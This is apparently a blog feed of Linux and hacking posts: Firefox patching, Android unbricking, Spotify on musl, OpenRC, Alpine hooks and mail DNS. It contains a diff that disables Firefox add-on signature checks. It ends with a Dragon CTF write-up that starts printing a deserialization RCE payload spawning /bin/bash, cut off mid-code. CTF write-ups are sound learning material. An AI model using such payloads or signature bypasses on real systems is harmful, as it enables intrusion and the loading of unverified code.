MOZ_REQUIRE_SIGNING: <span class="w"> </span>//@line 290 &quot;$SRCDIR/toolkit/modules/AppConstants.jsm&quot; <span class="gd">- true,</span> <span class="gi">+ 0000,</span> </code></pre></div> <ul> <li><a href="https://searchfox.org/mozilla-central/source/toolkit/mozapps/extensions/internal/XPIDatabase.jsm#2391"><code>modules/addons/XPIDatabase.jsm:2366</code></a></li> </ul> <div class="codehilite"><pre><span></span><code><span class="gd">--- a/modules/addons/XPIDatabase.jsm</span> <span class="gi">+++ b/modules/addons/XPIDatabase.jsm</span> <span class="gu">@@ -2366,7 +2366,7 @@</span> <span class="w"> </span> if (this.mustSign(aAddon.type) &amp;&amp; !aAddon.isCorrectlySigned) { <span class="w"> </span> logger.warn(`Add-on ${aAddon.id} is not correctly signed.`); <span class="w"> </span> if (Services.prefs.getBoolPref(PREF_XPI_SIGNATURES_DEV_ROOT, false)) { <span class="w"> </span> logger.warn(`Preference ${PREF_XPI_SIGNATURES_DEV_ROOT} is set.`); <span class="w"> </span> } <span class="gd">- return false;</span> <span class="gi">+ //return false;</span> <span class="w"> </span> } </code></pre></div> <ul> <li><a href="https://searchfox.org/mozilla-central/source/toolkit/mozapps/extensions/internal/XPIInstall.jsm#1608"><code>modules/addons/XPIInstall.jsm:1609</code></a></li> </ul> <div class="codehilite"><pre><span></span><code><span class="gd">--- a/modules/addons/XPIInstall.jsm</span> <span class="gi">+++ b/modules/addons/XPIInstall.jsm</span> <span class="gu">@@ -1609,4 +1609,4 @@</span> <span class="gd">- if (lazy.XPIDatabase.mustSign(this.addon.type)) {</span> <span class="gi">+ if (false /*Database.mustSign(this.addon.typ*/) {</span> <span class="w"> </span> if (this.addon.signedState &lt;= AddonManager.SIGNEDSTATE_MISSING) { <span class="w"> </span> // This add-on isn&#39;t properly signed by a signature that chains to the <span class="w"> </span> // trusted root. </code></pre></div> <p>As the <code>omni.ja</code> file is just a zip file, you can unpack it:</p> <div class="codehilite"><pre><span></span><code>$<span class="w"> </span>mkdir<span class="w"> </span>omni<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="nb">cd</span><span class="w"> </span>omni $<span class="w"> </span>unzip<span class="w"> </span>../omni.ja Archive:<span class="w"> </span>../omni.ja warning<span class="w"> </span><span class="o">[</span>../omni.ja<span class="o">]</span>:<span class="w"> </span><span class="m">29257828</span><span class="w"> </span>extra<span class="w"> </span>bytes<span class="w"> </span>at<span class="w"> </span>beginning<span class="w"> </span>or<span class="w"> </span>within<span class="w"> </span>zipfile <span class="w"> </span><span class="o">(</span>attempting<span class="w"> </span>to<span class="w"> </span>process<span class="w"> </span>anyway<span class="o">)</span> error<span class="w"> </span><span class="o">[</span>../omni.ja<span class="o">]</span>:<span class="w"> </span>reported<span class="w"> </span>length<span class="w"> </span>of<span class="w"> </span>central<span class="w"> </span>directory<span class="w"> </span>is <span class="w"> </span>-29257828<span class="w"> </span>bytes<span class="w"> </span>too<span class="w"> </span>long<span class="w"> </span><span class="o">(</span>Atari<span class="w"> </span>STZip<span class="w"> </span>zipfile?<span class="w"> </span>J.H.Holm<span class="w"> </span>ZIPSPLIT<span class="w"> </span><span class="m">1</span>.1 <span class="w"> </span>zipfile?<span class="o">)</span>.<span class="w"> </span>Compensating... <span class="w"> </span>extracting:<span class="w"> </span>greprefs.js <span class="w"> </span>extracting:<span class="w"> </span>chrome.manifest <span class="w"> </span>extracting:<span class="w"> </span>chrome/chrome.manifest ... </code></pre></div> <p>It seems to complain about some stuff, but that doesn't seem to be too much of an issue.<br /> After editing, just repack:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>zip<span class="w"> </span>-r<span class="w"> </span>-0<span class="w"> </span>-FS<span class="w"> </span>omni.ja<span class="w"> </span>* <span class="go"> adding: actors/ (stored 0%)</span> <span class="go"> adding: actors/WebChannelParent.jsm (stored 0%)</span> <span class="go"> adding: actors/WebChannelChild.jsm (stored 0%)</span> <span class="go"> adding: actors/ViewSourcePageParent.jsm (stored 0%)</span> <span class="go">...</span> </code></pre></div> <p>and replace the original file with the modified one.</p> <p>With all that done, restart Firefox, go to <code>about:addons</code> and load your addon. Depite the big red warning, the extension should now be loaded and usable.</p> <p><img alt="Snippet of Firefox addons page, with addon named demo addon and warning that it has not been verified for use in Firefox" loading="lazy" src="/posts/firefox-stable-unsigned-addons/demo-addon.png" /></p> Unbrick "Cannot load Android system" https://ptrcnull.me/posts/unbrick-cannot-load-android-system.html 2022-05-10T09:52:39+02:00 2022-05-10T09:52:39+02:00 <p>Best viewed on <a href="https://ptrcnull.me/posts/unbrick-cannot-load-android-system.html">the webbed site</a>!</p> <p>Disclaimer: I have no idea on which phones it works, it might actually brick your phone even more, etc. If in doubt, don't listen to me.</p> <p>Short answer:</p> <ul> <li>enter fastboot (depends on your phone)</li> <li>create an 8KB empty file - <code>truncate -s 8K file</code></li> <li>flash it to <code>para</code>/<code>boot_para</code>/sometimes <code>misc</code> - <code>fastboot flash para file</code></li> <li>reboot</li> </ul> <p>Long answer - a short tale about living with a broken phone:</p> <p>Honestly, this might not even apply to you. There's the "Try again" option. But, you see, I have a broken power button and couldn't select it... I've been doing some software patches to my phone to mitigate this hardware issue, most notably making <a href="https://github.com/ptrcnull/umidigi-f2-patches">a few patches</a> to my phone's bootloader, incl. one that makes it boot on plugged USB cable, because sadly on this phone it's not a togglable option, like others have. (<code>fastboot oem off-mode-charge 0</code>)</p> <p>Unfortunately, the patches did not help this time. I was presented with two options and no way to pick either of them. Tried disconnecting my battery and connecting it back, to no avail - bootloader just skipped straight to recovery, completely ignoring the volume buttons. Making matters even worse, the recovery didn't handle USB in any way - no fastbootd, no adb, no anything. Just the screen of doom and my phone lying to my face with the ominous "Cannot load Android system".</p> <p>After trying all the simple solutions, I realized my only hope was to patch the bootloader again (lol) and make it boot regular boot.img. To make stuff a bit easier, I focused first on getting working fastboot; from there I can just override the bootloader again and reboot without having to use the dreaded Smart Phone Flash Tool, just <code>fastboot flash lk lk.img</code>.</p> <p>So... I opened Ghidra alongside MediaTek's Little Kernel-based bootloader code, generously leak^Wopen-sourced by Umidigi with the Linux sources and other stuff. At first I tried to find stuff related to the actual issue itself - <code>wipe</code>, <code>erase</code>, anything like that, but couldn't find anything meaningful. Ended up spending multiple hours trying to map the C code onto functions Ghidra was showing me, expecially that some of them were so highly optimized, that the decompiler was completely lost. Fortunately, it yielded some nice results - at the end of <code>mt_boot_init</code> there was a following snippet:</p> <div class="codehilite"><pre><span></span><code><span class="w"> </span><span class="cm">/* Will not return */</span> <span class="w"> </span><span class="n">boot_linux_from_storage</span><span class="p">();</span> <span class="nl">fastboot</span><span class="p">:</span> <span class="w"> </span><span class="n">target_fastboot_init</span><span class="p">();</span> </code></pre></div> <p>This meant that if I'm lucky, I can get to fastboot with just one simple patch, replacing the branch instruction to <code>boot_linux_from_storage</code> with a NOP or two. And lucky I was, because a while later I had <a href="https://github.com/ptrcnull/umidigi-f2-patches/blob/master/force_fastboot.patch">the patch</a> ready and it worked! Less fortunately, removing that call meant that it couldn't boot <em>any</em> Linux, and the Android recovery is one too. My workaround turned out to be another laptop with SPFT that reflashed only the <code>lk</code> partition - seems a bit pointless, but it allowed me for faster prototyping, because I could do most of the stuff from my Linux workstation and only use Windows for clicking one button.</p> <p>What followed was a lot of trial and error with changing various things, including trying to repack the recovery - turns out <a href="https://topjohnwu.github.io/Magisk/tools.html">magiskboot</a> can be ran on a regular Linux machine and is <em>really</em> good at its job; you can just unpack the Magisk .apk file and run <code>lib/x86_64/libmagiskboot.so</code>. Sadly, I didn't get much further with that, so I gave up on experimentation and opened <a href="https://cs.android.com/">Android Code Search</a> in hopes of finding something useful.</p> <p>From perspective, I wish I did that sooner, because only after a few minutes of looking around the code, I found <a href="https://cs.android.com/android/platform/superproject/+/master:bootable/recovery/bootloader_message/bootloader_message.cpp">bootloader_message.cpp</a> which revealed that the bootloader uses the <code>misc</code> partition to communicate with recovery. The partition wasn't there on my phone, but now that I knew where to look, I opened the recovery executable from my phone in Ghidra and found out that MTK uses the name <code>para</code> instead, for some reason. With all that, I ensured that making the partition empty <a href="https://cs.android.com/android/platform/superproject/+/master:bootable/recovery/bootloader_message/bootloader_message.cpp;l=142">wouldn't break anything</a> and just flashed it.</p> <p>With all that, after a few days of messing around, I finally booted my phone (and promptly dropped it in the bathtub the same day, causing it to bootloop again before I managed to backup any data from it :) ) Fortunately, it managed to survive and serves me as a backup phone to this day.</p> Running Spotify on musl https://ptrcnull.me/posts/spotify-on-musl.html 2021-11-19T16:22:02+01:00 2021-11-19T16:22:02+01:00 <p>Best viewed on <a href="https://ptrcnull.me/posts/spotify-on-musl.html">the webbed site</a>!</p> <p>When trying to run Spotify on Alpine, most answers on the internet pointed to <a href="https://flatpak.org/">Flatpak</a>. And don't get me wrong - Flatpak is great and allows for running glibc-based apps with minimal setup, but... I'd really like to get Spotify to run natively, mostly because containers are a bit heavier in terms of disk space and interoperability is still not perfect.</p> <p>Let's start by downloading Spotify's deb package from <a href="https://repository-origin.spotify.com/pool/non-free/s/spotify-client/">the official repository</a> and unpacking it into downloads. Most of the files are in <code>usr/share/spotify</code>, so we'll try to just go there and run it.</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span><span class="nb">cd</span><span class="w"> </span>usr/share/spotify <span class="gp">$ </span>./spotify <span class="go">zsh: no such file or directory: ./spotify</span> </code></pre></div> <p>Oh right, it's missing some stuff. What stuff though?</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>ldd<span class="w"> </span>spotify <span class="gp gp-VirtualEnv">(114 lines skipped...)</span> <span class="go">Error relocating ./libcef.so: __libc_realloc: symbol not found</span> <span class="go">Error relocating ./libcef.so: __libc_free: symbol not found</span> <span class="go">Error relocating ./libcef.so: __fdelt_chk: symbol not found</span> <span class="go">Error relocating ./libcef.so: __fprintf_chk: symbol not found</span> <span class="go">Error relocating ./libcef.so: __sprintf_chk: symbol not found</span> <span class="go">Error relocating ./libcef.so: initstate_r: symbol not found</span> <span class="go">Error relocating ./libcef.so: random_r: symbol not found</span> <span class="go">Error relocating ./libcef.so: gnu_get_libc_version: symbol not found</span> <span class="go">Error relocating ./libcef.so: __register_atfork: symbol not found</span> <span class="go">Error relocating ./libcef.so: __longjmp_chk: symbol not found</span> <span class="go">Error relocating ./libcef.so: __libc_stack_end: symbol not found</span> <span class="go">Error relocating ./spotify: strtoll_l: symbol not found</span> <span class="go">Error relocating ./spotify: strtoull_l: symbol not found</span> <span class="go">Error relocating ./spotify: __isnanf: symbol not found</span> <span class="go">Error relocating ./spotify: __isinff: symbol not found</span> <span class="go">Error relocating ./spotify: __isnan: symbol not found</span> <span class="go">Error relocating ./spotify: __isinf: symbol not found</span> <span class="go">Error relocating ./spotify: __cxa_thread_atexit_impl: symbol not found</span> </code></pre></div> <p>It seems that it uses a lot of glibc-specific stuff, but we can use Adelie Linux's <a href="https://git.adelielinux.org/adelie/gcompat">gcompat</a> to make it work.</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>apk<span class="w"> </span>add<span class="w"> </span>gcompat <span class="gp gp-VirtualEnv">(1/3)</span> <span class="go">Installing musl-obstack (1.2.2-r0)</span> <span class="gp gp-VirtualEnv">(2/3)</span> <span class="go">Installing libucontext (1.1-r0)</span> <span class="gp gp-VirtualEnv">(3/3)</span> <span class="go">Installing gcompat (1.0.0-r2)</span> <span class="go">OK: 11425 MiB in 1571 packages</span> <span class="gp">$ </span>patchelf<span class="w"> </span>--set-interpreter<span class="w"> </span>/lib/ld-musl-x86_64.so.1<span class="w"> </span>spotify <span class="gp">$ </span>patchelf<span class="w"> </span>--add-needed<span class="w"> </span>libgcompat.so.0<span class="w"> </span>spotify <span class="gp">$ </span>ldd<span class="w"> </span>spotify <span class="gp gp-VirtualEnv">(97 lines skipped...)</span> <span class="go">Error relocating ./libcef.so: __mbrlen: symbol not found</span> <span class="go">Error relocating ./libcef.so: __close: symbol not found</span> <span class="go">Error relocating ./libcef.so: initstate_r: symbol not found</span> <span class="go">Error relocating ./libcef.so: random_r: symbol not found</span> </code></pre></div> <p>That's much better, but there are still a few things missing. <code>random_r</code> was added <a href="https://git.adelielinux.org/adelie/gcompat/-/commit/59e99e9e6db4fd4d33786fbe3ffd3fabf4a49dd7">a few months ago</a>, but <code>__mbrlen</code> and <code>__close</code> were still missing, so I cloned gcompat and <a href="https://git.adelielinux.org/adelie/gcompat/-/commit/cca99e842ebff24d4993dcda1831aaa81d229119">added them</a> <a href="https://git.adelielinux.org/adelie/gcompat/-/commit/391b2706c6fc5aedf1881743efa2d0912eefe04a">in</a>.</p> <p>~~Note: gcompat seems to be temporarily no longer maintained as A. Wilcox has <a href="https://catfox.life/2020/10/21/leaving-the-linux-distribution-community/">retired</a>, so I pushed my changed to a fork on GitHub instead of creating a merge request to the original repo.~~</p> <p>After recompiling gcompat and trying to run Spotify again, it still complains about missing glibc:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>./spotify <span class="go">Error loading shared library ld-linux-x86-64.so.2: No such file or directory (needed by libcef.so)</span> </code></pre></div> <p>Fortunately, another <code>patchelf</code>, this time to <code>libcef.so</code>, makes the error go away:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>patchelf<span class="w"> </span>--remove-needed<span class="w"> </span>ld-linux-x86-64.so.2<span class="w"> </span>libcef.so <span class="gp">$ </span>./spotify </code></pre></div> <p>Aaand... it crashes with <code>boost::filesystem::read_symlink: No such file or directory: "/proc/self/exe"</code>. That's weird, <code>/proc/self/exe</code> should be present, <code>read_symlink</code> just calls <a href="https://github.com/steinwurf/boost/blob/1c73b071b4c458de71923072be2a7ee8e4c87799/libs/filesystem/src/operations.cpp#L1586">readlink</a>, and <code>readlink</code> <a href="https://github.com/bminor/musl/blob/cfdfd5ea3ce14c6abf7fb22a531f3d99518b5a1b/src/unistd/readlink.c#L5">uses the syscall</a>, right?</p> <p>Nope, gcompat <a href="https://git.adelielinux.org/adelie/gcompat/-/blob/current/libgcompat/readlink.c">replaces</a> readlink with its own function to intercept <code>/proc/self/exe</code> (ugh), but as we don't use the loader, we can remove it from the Makefile and build again.</p> <p>Another recompile of gcompat later, maybe now it would launch?</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>./spotify <span class="go">[1] 26559 segmentation fault (core dumped) ./spotify</span> </code></pre></div> <p>Whoops, it doesn't look good... After running <code>gdb spotify core</code>, it looks like it <a href="https://git.adelielinux.org/adelie/gcompat/-/issues/344">segfaults</a> in <code>savestate_r () from /lib/libgcompat.so.0</code>. We could try to fix this <em>or</em> we can replace it with a <a href="https://xkcd.com/221/">fair dice roll</a>:</p> <div class="codehilite"><pre><span></span><code><span class="gh">diff --git a/libgcompat/random_r.c b/libgcompat/random_r.c</span> <span class="gh">index 5bc7053..f6e7071 100644</span> <span class="gd">--- a/libgcompat/random_r.c</span> <span class="gi">+++ b/libgcompat/random_r.c</span> <span class="gu">@@ -141,4 +141,7 @@ int random_r(struct random_data *restrict buf, int32_t *restrict result) {</span> <span class="w"> </span> } <span class="gi">+ *result = 4;</span> <span class="gi">+ return 0;</span> <span class="gi">+</span> <span class="w"> </span> if (buf-&gt;n == 0) { <span class="w"> </span> k = buf-&gt;x[0] = lcg31(buf-&gt;x[0]); </code></pre></div> <p>(and also add <code>return 0;</code> before first <code>savestate_r</code> in <code>initstate_r</code>)</p> <p>Aaand... it shows a window!</p> <p><img alt="Empty white window on gray background, with title Spotify" loading="lazy" src="/posts/spotify-on-musl/white_window.png" /></p> <p>Sadly, after a while, the enthusiasm goes away - the window stays white and doesn't display any content. Command line argument <code>--show-console</code> doesn't give us any helpful info either:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>./spotify<span class="w"> </span>--show-console <span class="go">14:54:32.302 I [f:156 ] Access allowance changed from online: 0 stream: 0, sync: 0, persistent conn: 0 to online: 1 stream: 1, sync: 0, persistent conn: 1</span> <span class="go">14:54:32.334 I [f:77 ] Connectivity policy is initially allow_all</span> <span class="go">14:54:32.334 I [f:79 ] Connection type is initially unknown</span> <span class="go">14:54:32.334 I [f:96 ] Enabling all persistent connections</span> <span class="go">14:54:32.353 I [f:150 ] D-Bus name &#39;org.freedesktop.NetworkManager&#39; does not exist on system bus</span> </code></pre></div> <p>Okay, but A. Wilcox <a href="https://catfox.life/2020/07/06/live-from-adelie-streaming-spotify-on-musl/">had the same issue</a> - maybe we can use that?</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>ldd<span class="w"> </span>spotify <span class="go"> /lib/ld-musl-x86_64.so.1 (0x7f0b5dbf5000)</span> <span class="go"> libgcompat.so.0 =&gt; /lib/libgcompat.so.0 (0x7f0b5dbe1000)</span> <span class="go"> libm.so.6 =&gt; /lib/ld-musl-x86_64.so.1 (0x7f0b5dbf5000)</span> <span class="go"> libdl.so.2 =&gt; /lib/ld-musl-x86_64.so.1 (0x7f0b5dbf5000)</span> <span class="go"> libasound.so.2 =&gt; /usr/lib/libasound.so.2 (0x7f0b5daf6000)</span> <span class="go"> libatomic.so.1 =&gt; /usr/lib/libatomic.so.1 (0x7f0b5daed000)</span> <span class="go"> libcurl-gnutls.so.4 =&gt; /usr/lib/libcurl-gnutls.so.4 (0x7f0b5da73000)</span> <span class="go"> libcef.so =&gt; ./libcef.so (0x7f0b52887000)</span> <span class="gp gp-VirtualEnv">(86 lines skipped...)</span> </code></pre></div> <p>It seems to match (libm/libdl before libcef), so let's try removing them and see what happens:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>patchelf<span class="w"> </span>--remove-needed<span class="w"> </span>libm.so.6<span class="w"> </span>libcef.so <span class="gp">$ </span>patchelf<span class="w"> </span>--remove-needed<span class="w"> </span>libdl.so.2<span class="w"> </span>libcef.so <span class="gp">$ </span>./spotify<span class="w"> </span>--show-console <span class="go">15:02:04.445 I [f:156 ] Access allowance changed from online: 0 stream: 0, sync: 0, persistent conn: 0 to online: 1 stream: 1, sync: 0, persistent conn: 1</span> <span class="go">15:02:04.491 I [f:77 ] Connectivity policy is initially allow_all</span> <span class="go">15:02:04.491 I [f:79 ] Connection type is initially unknown</span> <span class="go">15:02:04.492 I [f:96 ] Enabling all persistent connections</span> <span class="go">15:02:04.500 I [f:150 ] D-Bus name &#39;org.freedesktop.NetworkManager&#39; does not exist on system bus</span> </code></pre></div> <p>Unfortunately, it still shows the white window and <code>strace</code> reveals that it still segfaults:</p> <div class="codehilite"><pre><span></span><code><span class="go">28567 +++ killed by SIGSEGV (core dumped) +++</span> <span class="go">28566 +++ killed by SIGSEGV (core dumped) +++</span> <span class="go">28565 +++ killed by SIGSEGV (core dumped) +++</span> <span class="go">28564 +++ killed by SIGSEGV (core dumped) +++</span> <span class="go">28563 +++ killed by SIGSEGV (core dumped) +++</span> </code></pre></div> <p>This is where the post ends, at least for now (2021-11-19).</p> <p>If you manage to make it further than I did, please DM me on <a href="https://t.me/ptrcnull">Telegram</a> or send an <a href="mailto:[email protected]">e-mail</a>.</p> <h3>Update (2021-12-03)</h3> <p>Thanks to an email I got from <a href="https://github.com/filipkania">Filip</a>, I was finally able to make it work!</p> <p>It turned out that the missing piece of the puzzle was <code>--single-process</code> - it somehow forces CEF into submission and while it's not perfect (segfault after closing the window), it launches successfully and even plays music (tested on PulseAudio and PipeWire).</p> <p><img alt="Spotify window, with song &quot;Oh No!&quot; by &quot;Marina&quot; shown paused, partially obscured by terminal window with command &quot;./spotify --single-process&quot;" loading="lazy" src="/posts/spotify-on-musl/working.png" /></p> OpenRC: Start services after login prompt https://ptrcnull.me/posts/openrc-async-services.html 2021-11-17T21:14:15+01:00 2021-11-17T21:14:15+01:00 <p>Best viewed on <a href="https://ptrcnull.me/posts/openrc-async-services.html">the webbed site</a>!</p> <p>I'm using Alpine Linux as my main OS on desktop. As I don't use any display manager/greeter such as LightDM's, I noticed that it takes quite a bit of time to actually get the login prompt. After a while of searching through logs, I realized that some services - primarily <code>chronyd</code> - wait a few seconds for e.g. getting a response from NTP server and don't exit the start function immediately after starting the process. I tried googling for a solution and found <a href="https://unix.stackexchange.com/a/579014">this</a> Unix StackExchange answer, yet it didn't solve my problem.</p> <p><em>But</em>, after reading Alpine User Handbook's page on <a href="https://docs.alpinelinux.org/user-handbook/0.1a/Working/openrc.html">OpenRC</a>, I got the idea that it could be solved with a bit of tinkering with custom runlevels.</p> <p>So, the final solution was:</p> <ul> <li>create a custom runlevel (I chose the name "async", but it doesn't matter)</li> </ul> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>doas<span class="w"> </span>mkdir<span class="w"> </span>/etc/runlevels/async </code></pre></div> <ul> <li>add <code>default</code> as a <a href="https://wiki.gentoo.org/wiki/OpenRC/Stacked_runlevel">stacked runlevel</a></li> </ul> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>doas<span class="w"> </span>rc-update<span class="w"> </span>add<span class="w"> </span>-s<span class="w"> </span>default<span class="w"> </span>async </code></pre></div> <ul> <li>remove services from <code>default</code> and add them to <code>async</code></li> </ul> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>doas<span class="w"> </span>rc-update<span class="w"> </span>del<span class="w"> </span>chronyd <span class="gp">$ </span>doas<span class="w"> </span>rc-update<span class="w"> </span>add<span class="w"> </span>chronyd<span class="w"> </span>async </code></pre></div> <ul> <li>add changing runlevel to <code>async</code> to <code>inittab</code></li> </ul> <p>Add this line to <code>/etc/inittab</code>:</p> <div class="codehilite"><pre><span></span><code>::once:/sbin/openrc async </code></pre></div> <p>After rebooting, services from <code>default</code> runlevel will still block agetty from running (after all, it has the <code>wait</code> label in inittab), but services from <code>async</code> will start separately.</p> How to use Alpine Linux commit hooks https://ptrcnull.me/posts/alpine-commit-hooks.html 2021-04-18T13:56:06+02:00 2021-04-18T13:56:06+02:00 <p>Best viewed on <a href="https://ptrcnull.me/posts/alpine-commit-hooks.html">the webbed site</a>!</p> <p>tl;dr:</p> <ul> <li>Create directory <code>/etc/apk/commit_hooks.d</code></li> <li>Put your executable files in there</li> <li>First argument passed to your script is the stage (<code>pre-commit</code>/<code>post-commit</code>)</li> </ul> <h3>Example hook</h3> <div class="codehilite"><pre><span></span><code><span class="ch">#!/bin/sh</span> <span class="k">if</span><span class="w"> </span>!<span class="w"> </span>mount<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-q<span class="w"> </span><span class="s1">&#39;/boot/efi&#39;</span><span class="p">;</span><span class="w"> </span><span class="k">then</span> <span class="w"> </span>mount<span class="w"> </span>/boot/efi <span class="k">fi</span> <span class="k">if</span><span class="w"> </span><span class="o">[[</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$1</span><span class="s2">&quot;</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">&quot;post-commit&quot;</span><span class="w"> </span><span class="o">]]</span><span class="p">;</span><span class="w"> </span><span class="k">then</span> <span class="w"> </span>cp<span class="w"> </span>/boot/initramfs-lts<span class="w"> </span>/boot/efi/alpine/initramfs-lts <span class="w"> </span>cp<span class="w"> </span>/boot/vmlinuz-lts<span class="w"> </span>/boot/efi/alpine/vmlinuz-lts <span class="k">fi</span> </code></pre></div> <h3>Why?</h3> <p>I use <a href="https://en.wikipedia.org/wiki/Gummiboot_(software)">Gummiboot</a> as my bootloader, which can boot Linux kernel images directly from the EFI partition. Alpine packages don't care about EFI though, they just put the stuff in <code>/boot</code> <a href="https://pkgs.alpinelinux.org/contents?file=&amp;path=%2Fboot&amp;name=linux-lts&amp;branch=edge&amp;repo=main&amp;arch=x86_64">directly</a>. (I mean, the official wiki just says "manually copy them to <code>/boot/efi/</code>", which works but I tend to forget about it)</p> <p>I didn't want to mount EFI as <code>/boot</code>, so I decided that creating a commit hook would be the easiest way of hotfixing that issue (not ideal, as it runs with <em>every</em> apk commit, but feasible for my use).</p> Mail DNS Setup https://ptrcnull.me/posts/mail-dns-setup.html 2020-12-19T15:59:43+01:00 2020-12-19T15:59:43+01:00 <p>Best viewed on <a href="https://ptrcnull.me/posts/mail-dns-setup.html">the webbed site</a>!</p> <p>Since I always struggle with DNS records for mailservers... here are some examples:</p> <h2>DMARC</h2> <div class="codehilite"><pre><span></span><code>_dmarc TXT &quot;v=DMARC1; p=none; rua=mailto:[email protected]&quot; </code></pre></div> <ul> <li><strong>v</strong> - version of DMARC (<code>DMARC1</code>)</li> <li><strong>p</strong> - policy (<code>none</code>, <code>quarantine</code>, <code>reject</code>)</li> <li><strong>rua</strong> - URI for agreggate reports (comma-separated)</li> <li><strong>ruf</strong> - URI for failure reports (comma-separated)</li> </ul> <h2>SPF</h2> <div class="codehilite"><pre><span></span><code>@ TXT &quot;v=spf1 mx -all&quot; </code></pre></div> <ul> <li><strong>v</strong> - version (<code>spf1</code>)</li> <li><strong>mx</strong> - allow emails from servers specified in MX records</li> <li><strong>-all</strong> - don't allow from everyone else</li> </ul> Dragon CTF 2020 - Harmony Chat https://ptrcnull.me/writeups/dragonctf-2020-harmony-chat.html 2020-11-26T19:19:49+01:00 2020-11-26T19:19:49+01:00 <p>Best viewed on <a href="https://ptrcnull.me/writeups/dragonctf-2020-harmony-chat.html">the webbed site</a>!</p> <p>Files:</p> <ul> <li>This challenge provided a <a href="http://harmony-1.hackable.software:3380/">link</a> and source (<a href="https://storage.googleapis.com/dragonctf-prod/harmony_301f77ba9efff83a832c0a31886c8d4a7aae39de1b9b3126fef5c7d4815b515f/harmony.zip">harmony.zip</a>)</li> </ul> <h2>Part 0: research</h2> <p>At first sight, the challenge looks like an IRC-like chat, where you can log in with your name and send messages.</p> <p>The web app also allowed for downloading logs via HTTP and FTP, which seemed exploit-worthy to us.</p> <p>Upon inspecting the source code, we found a very obscure, yet common-sounding library called <a href="https://github.com/wix-incubator/javascript-serializer"><code>javascript-serializer</code></a>, which can serialize and deserialize classes and an endpoint for sending CSP report, which was restricted for localhost:</p> <div class="codehilite"><pre><span></span><code><span class="kd">const</span><span class="w"> </span><span class="nx">handleReport</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span><span class="w"> </span><span class="nx">res</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Buffer</span><span class="p">.</span><span class="nx">alloc</span><span class="p">(</span><span class="mf">0</span><span class="p">)</span> <span class="w"> </span><span class="nx">req</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s2">&quot;data&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">chunk</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Buffer</span><span class="p">.</span><span class="nx">concat</span><span class="p">([</span><span class="nx">data</span><span class="p">,</span><span class="w"> </span><span class="nx">chunk</span><span class="p">])</span> <span class="w"> </span><span class="p">})</span> <span class="w"> </span><span class="nx">req</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s2">&quot;end&quot;</span><span class="p">,</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mf">204</span><span class="p">).</span><span class="nx">end</span><span class="p">()</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">isLocal</span><span class="p">(</span><span class="nx">req</span><span class="p">))</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">utils</span><span class="p">.</span><span class="nx">validateAndDecodeJSON</span><span class="p">(</span><span class="nx">data</span><span class="p">,</span><span class="w"> </span><span class="nx">REPORT_SCHEMA</span><span class="p">)</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="nx">generateTextReport</span><span class="p">(</span><span class="nx">report</span><span class="p">[</span><span class="s2">&quot;csp-report&quot;</span><span class="p">]))</span> <span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">error</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">warn</span><span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="w"> </span><span class="k">return</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">})</span> <span class="p">}</span> </code></pre></div> <p>Considering that the <code>validateAndDecodeJSON</code> function returns data parsed by the library mentioned above, we realized it could lead to a simple RCE exploit, as you could just pass a "serialized" <code>Function</code> class with function body.</p> <h2>Part 1: crafting an exploit</h2> <p>It turned out that in newer versions, the <code>Function()</code> constructor in Node.js is somehow sandboxed, without most things like <code>require</code>. One of the ways of getting around it is using weird internal functions, in our case it was <code>process.binding('spawn_sync')</code> to spawn a process. Here's the exploit we ended up using:</p> <div class="codehilite"><pre><span></span><code><span class="nx">process</span><span class="p">.</span><span class="nx">binding</span><span class="p">(</span><span class="s1">&#39;spawn_sync&#39;</span><span class="p">).</span><span class="nx">spawn</span><span class="p">({</span> <span class="w"> </span><span class="nx">file</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;/bin/bash&#39;</span><span class="p">,</span> <span class="w"> </span><span class="nx">args</span><span 